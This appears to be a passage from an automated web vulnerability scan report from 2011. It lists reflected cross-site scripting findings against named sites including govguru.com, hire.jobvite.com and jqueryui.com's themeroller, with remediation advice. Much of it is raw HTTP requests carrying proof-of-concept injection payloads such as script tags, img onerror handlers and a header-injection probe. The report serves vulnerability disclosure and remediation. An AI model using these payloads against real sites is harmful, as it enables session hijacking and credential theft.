GET /i/4af04%0d%0ad83a2a5f4ce?t=v&d=us&s=a&c=h&l=dir&o=0&sv=0a5c404a&p=homepage&ord=7097259 HTTP/1.1 Host: wzus1.ask.com Proxy-Connection: keep-alive Referer: http://www.ask.com/?o=0&l=dir Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cu.wz=0; tbe=1; accepting=1; user=o=0&l=dir; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://wzus1.ask.com/i/4af04 d83a2a5f4ce?t=S&a ...[SNIP]...
3. Cross-site scripting (reflected)previousnext There are 578 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the flash request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96119"%3balert(1)//f168ce1767a was submitted in the flash parameter. This input was echoed as 96119";alert(1)//f168ce1767a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the r request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ec695"%3balert(1)//d5deaeaae19 was submitted in the r parameter. This input was echoed as ec695";alert(1)//d5deaeaae19 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the redir request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db52a"-alert(1)-"6c059e5e36d was submitted in the redir parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the time request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93bab"%3balert(1)//ee44a590352 was submitted in the time parameter. This input was echoed as 93bab";alert(1)//ee44a590352 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c938"><img%20src%3da%20onerror%3dalert(1)>d183c434106 was submitted in the REST URL parameter 1. This input was echoed as 5c938"><img src=a onerror=alert(1)>d183c434106 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /north-carolina5c938"><img%20src%3da%20onerror%3dalert(1)>d183c434106/boat-registration HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 43a93"%3bcea0d4b1bdb was submitted in the REST URL parameter 1. This input was echoed as 43a93";cea0d4b1bdb in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /north-carolina43a93"%3bcea0d4b1bdb/boat-registration HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 671f2"%3b9efa48339dd was submitted in the REST URL parameter 2. This input was echoed as 671f2";9efa48339dd in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /north-carolina/boat-registration671f2"%3b9efa48339dd HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d091"><img%20src%3da%20onerror%3dalert(1)>097a291560e was submitted in the REST URL parameter 2. This input was echoed as 1d091"><img src=a onerror=alert(1)>097a291560e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /north-carolina/boat-registration1d091"><img%20src%3da%20onerror%3dalert(1)>097a291560e HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
3.9. http://govguru.com/north-carolina/boat-registration [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://govguru.com
Path:
/north-carolina/boat-registration
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 66345'><script>alert(1)</script>658c07cccb0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /north-carolina/boat-registration?66345'><script>alert(1)</script>658c07cccb0=1 HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
3.10. http://govguru.com/north-carolina/boat-registration [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://govguru.com
Path:
/north-carolina/boat-registration
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89d43"><script>alert(1)</script>e70e52d1510 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /north-carolina/boat-registration?89d43"><script>alert(1)</script>e70e52d1510=1 HTTP/1.1 Host: govguru.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
3.11. http://hire.jobvite.com/CompanyJobs/Careers.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://hire.jobvite.com
Path:
/CompanyJobs/Careers.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7246e</script><script>alert(1)</script>0b363216a36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh&7246e</script><script>alert(1)</script>0b363216a36=1 HTTP/1.1 Host: hire.jobvite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=nc5bqb45d2gjpv2j3d3qgwfc; path=/; HttpOnly X-AspNet-Version: 2.0.50727 Set-Cookie: guestidc=8e125cb6-e875-4356-a3f3-ea1fa0da79e7; expires=Sat, 26-Feb-2011 19:13:22 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 27 Jan 2011 19:13:22 GMT Connection: close Content-Length: 46859
The value of the bgColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fc42"><script>alert(1)</script>7b6e381a9c0 was submitted in the bgColorActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F88fc42"><script>alert(1)</script>7b6e381a9c0&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:08 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5dc45"><script>alert(1)</script>f43f5c2ec6a was submitted in the bgColorContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF5dc45"><script>alert(1)</script>f43f5c2ec6a&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:43 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ce41"><script>alert(1)</script>392cbdd1c3d was submitted in the bgColorDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF9ce41"><script>alert(1)</script>392cbdd1c3d&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:57 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 911ae"><script>alert(1)</script>e29864d36d2 was submitted in the bgColorError parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF911ae"><script>alert(1)</script>e29864d36d2&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:20 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4c61"><script>alert(1)</script>5c7875cd310 was submitted in the bgColorHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDDc4c61"><script>alert(1)</script>5c7875cd310&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:35 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the bgColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 473b0"><script>alert(1)</script>d66d5d90bc9 was submitted in the bgColorHighlight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C473b0"><script>alert(1)</script>d66d5d90bc9&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:13 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e76d"><script>alert(1)</script>50ee2f3037a was submitted in the bgColorHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF3e76d"><script>alert(1)</script>50ee2f3037a&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:02 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the bgColorOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f2b5"><script>alert(1)</script>576b6389ccd was submitted in the bgColorOverlay parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
